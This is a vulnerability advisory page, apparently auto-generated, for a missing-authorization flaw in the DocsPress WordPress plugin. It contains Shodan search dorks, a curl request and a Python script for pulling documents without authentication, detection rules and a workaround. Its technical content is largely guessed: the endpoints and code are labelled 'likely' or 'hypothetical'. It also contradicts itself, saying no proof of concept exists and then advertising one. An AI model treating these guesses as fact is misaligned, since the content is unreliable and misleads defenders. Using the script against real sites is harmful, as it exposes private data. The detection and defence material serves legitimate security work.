CVE-2025-49240
SHADON_DORKS: ["http.title:"DocsPress"", "http.html:"wp-content/plugins/docspress""]
Executive Summary
CVE-2025-49240 is a Missing Authorization vulnerability in the DocsPress WordPress plugin (versions ≤ 2.5.2) developed by nK. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive documentation or administrative functions. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available. As a WordPress plugin vulnerability, it affects the WordPress ecosystem directly and should be addressed by disabling or replacing the plugin until a fix is released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the DocsPress WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Organizations using this plugin should verify its integrity by checking checksums or signatures from the official source. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability allows unauthorized access to potentially sensitive data but does not enable data modification or denial of service. Exploitation is straightforward due to low complexity and no required privileges.
Deep Dive & Mechanics
The vulnerability resides in the DocsPress plugin’s access control mechanisms. The plugin fails to properly enforce authorization checks on certain REST API endpoints or AJAX actions, allowing unauthenticated users to retrieve or manipulate documentation content that should be restricted. The missing authorization likely occurs in functions that handle document viewing, editing, or listing, where the plugin does not verify user capabilities (e.g., edit_posts, read_private_docs) before processing requests.
Root Cause: The plugin uses wp_ajax_nopriv_* hooks or REST API routes without implementing capability checks, or it relies on incorrect permission callbacks. This enables attackers to send crafted HTTP requests to access protected resources.
Attack Vector: An attacker sends a specially crafted HTTP request to the WordPress site, targeting the vulnerable endpoint. For example:
GET /wp-json/docspress/v1/document/123 HTTP/1.1
Host: target-site.com
If the endpoint lacks authorization, the attacker can retrieve the document content.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes for missing authorization vulnerabilities.
Vulnerable Code (Example):
add_action('wp_ajax_nopriv_get_document', 'docspress_get_document');
function docspress_get_document() {
$doc_id = intval($_GET['id']);
$document = get_post($doc_id);
echo json_encode($document);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_nopriv_get_document', 'docspress_get_document');
function docspress_get_document() {
if (!current_user_can('read_private_docs')) {
wp_die('Unauthorized', 403);
}
$doc_id = intval($_GET['id']);
$document = get_post($doc_id);
echo json_encode($document);
wp_die();
}
The patched version adds a capability check (current_user_can('read_private_docs')) before processing the request.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with DocsPress plugin version ≤ 2.5.2 installed and activated.
- Network access to the target site.
Steps:
- Identify vulnerable endpoints by reviewing the plugin’s source code or using a tool like Burp Suite to spider the site.
- Send an unauthenticated request to a protected endpoint, e.g.:
curl -X GET "http://target-site.com/wp-json/docspress/v1/documents" -H "User-Agent: Mozilla/5.0" - If the response contains sensitive data (e.g., private documents), the vulnerability is confirmed.
Example Exploit (Python):
import requests
target = "http://target-site.com"
endpoint = "/wp-json/docspress/v1/documents"
response = requests.get(target + endpoint)
if response.status_code == 200:
print("Vulnerable! Retrieved documents:", response.text)
else:
print("Not vulnerable or endpoint protected.")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual access to
/wp-json/docspress/v1/*endpoints from unauthenticated sources. - Look for spikes in 403 errors followed by successful 200 responses on the same endpoint.
Defense:
- Disable the DocsPress plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
/wp-json/docspress/v1/*. - Use a security plugin like Wordfence to enforce role-based access.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-json/docspress/v1/*without authentication headers. - Repeated 403 responses followed by 200 on the same endpoint.
- HTTP requests to
- File IOCs:
- Modified or suspicious entries in WordPress access logs (e.g.,
access.log).
- Modified or suspicious entries in WordPress access logs (e.g.,
- System IOCs:
- Unauthorized access to private documentation pages.
Detection Engineering
YARA Rule
rule Detect_DocsPress_Missing_Auth {
meta:
description = "Detects exploitation attempts of CVE-2025-49240 in DocsPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49240"
strings:
$endpoint = "/wp-json/docspress/v1/" ascii wide nocase
$unauth = "wp_ajax_nopriv_" ascii wide nocase
condition:
$endpoint or $unauth
}
Sigma Rule
title: Detect DocsPress Missing Authorization Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to DocsPress REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-stem:
- "/wp-json/docspress/v1/*"
sc-status: 200
condition: selection
falsepositives:
- Legitimate authenticated users (if any)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49240 - DocsPress Missing Authorization Attempt"; flow:to_server; content:"/wp-json/docspress/v1/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the DocsPress plugin until a patched version is released.
- Implement a WAF rule to block unauthenticated requests to
/wp-json/docspress/v1/*. - Review access logs for signs of exploitation.
Long-term Fix:
- Monitor the plugin’s official repository for a security update.
- Replace the plugin with an alternative that has active support and security practices.
Workaround:
- Add custom code to the theme’s
functions.phpto enforce authorization:add_filter('rest_pre_dispatch', function($result, $server, $request) { if (strpos($request->get_route(), 'docspress/v1') !== false) { if (!current_user_can('read_private_docs')) { return new WP_Error('rest_forbidden', 'Unauthorized', array('status' => 403)); } } return $result; }, 10, 3);
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.